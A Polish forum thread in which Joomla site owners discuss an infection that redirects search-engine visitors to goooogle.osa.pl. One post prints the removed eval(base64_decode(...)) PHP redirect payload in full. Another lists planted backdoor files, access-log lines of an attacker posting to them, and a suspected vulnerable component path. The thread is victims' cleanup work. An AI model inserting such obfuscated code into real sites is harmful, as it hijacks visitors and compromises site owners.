Strona przenosi do http://goooogle.osa.pl.

[mikr23]

Witam. Strona przenosi go http:// goooogle. osa .pl. Znalazłem wirusa - include/define.php i go usunąłem.
Był w ścieżce eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQ okbmNjdj1oZWFkZXJzX3NlbnQoKTsNCmlmICghJG5jY3Ypew0K JHJlZmVyZXI9JF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddOw0KJH VhPSRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXTsNCmlmIChz dHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikgb3Igc3RyaXN0ci gkcmVmZXJlciwieWFob28iKSBvciBzdHJpc3RyKCRyZWZlcmVy LCJnb29nbGUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaW5nIi kgb3Igc3RyaXN0cigkcmVmZXJlciwiYXNrLmNvbSIpIG9yIHN0 cmlzdHIoJHJlZmVyZXIsIm1zbiIpIG9yIHN0cmlzdHIoJHJlZm VyZXIsImxpdmUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNl Ym9vayIpKSB7DQppZiAoIXN0cmlzdHIoJHJlZmVyZXIsImNhY2 hlIikgb3IgIXN0cmlzdHIoJHJlZmVyZXIsImludXJsIikpeyAN CmhlYWRlcigiTG9jYXRpb246IGh0dHA6Ly9nb29vb2dsZS5vc2 EucGwvIik7DQpleGl0KCk7DQp9DQp9DQp9"));
Tylko co go tam wstawia? Może ktoś się spotkał z takim problemem? Już drugi raz tu go znalazłem.
Mimo że prawa do tego pliku to 444.
Strona www. ocean-urody. pl.



linki bezpośrednie do zainfekowanej strony...
no bez jaj.. @palyga007

[mikr23]

A ja dzisiaj znalazłem wira
Instalacja nowych plików nic nie dawała - okazało się, że jakiś "podrasowany" komponent zainstalował pliki w "images"
img.php, imagemagic1.php, post.php
Sprytne - przenosząc joomlę raczej nie sprawdza się obrazów. Gościu z ip 77.235.68.40 co kilka dni wywoływał :
77.235.68.40 - - [05/Jan/2012:12:32:38 +0100] "POST /images/banners/post.php HTTP/1.1" 200 70173 "none" "" i wir się roznosił - ja go wywalałem z linijek kodu (tak wyglądał: eval(base64_decode("DQplcnJvcl9......") a on na nowo.
Jeszcze niepewny jest komponent
77.235.68.40 - - [05/Jan/2012:12:32:37 +0100] "POST /components/com_oziogallery2/imagin/scripts_ralcr/filesystem/writeToFile.php
bo tego też szukał.
Może czas zrobić dział z opisami "podrasowanych" dodatków i co i gdzie szukać aby wyleczyć joomlę?

---------- Post dodany o 17:30 ---------- Poprzedni post był o 17:28 ----------

Strona www. ocean-urody. pl.

był link

[makol]

Na przykład coś takiego?
Vulnerable_Extensions

[mikr23]

O właśnie coś takiego.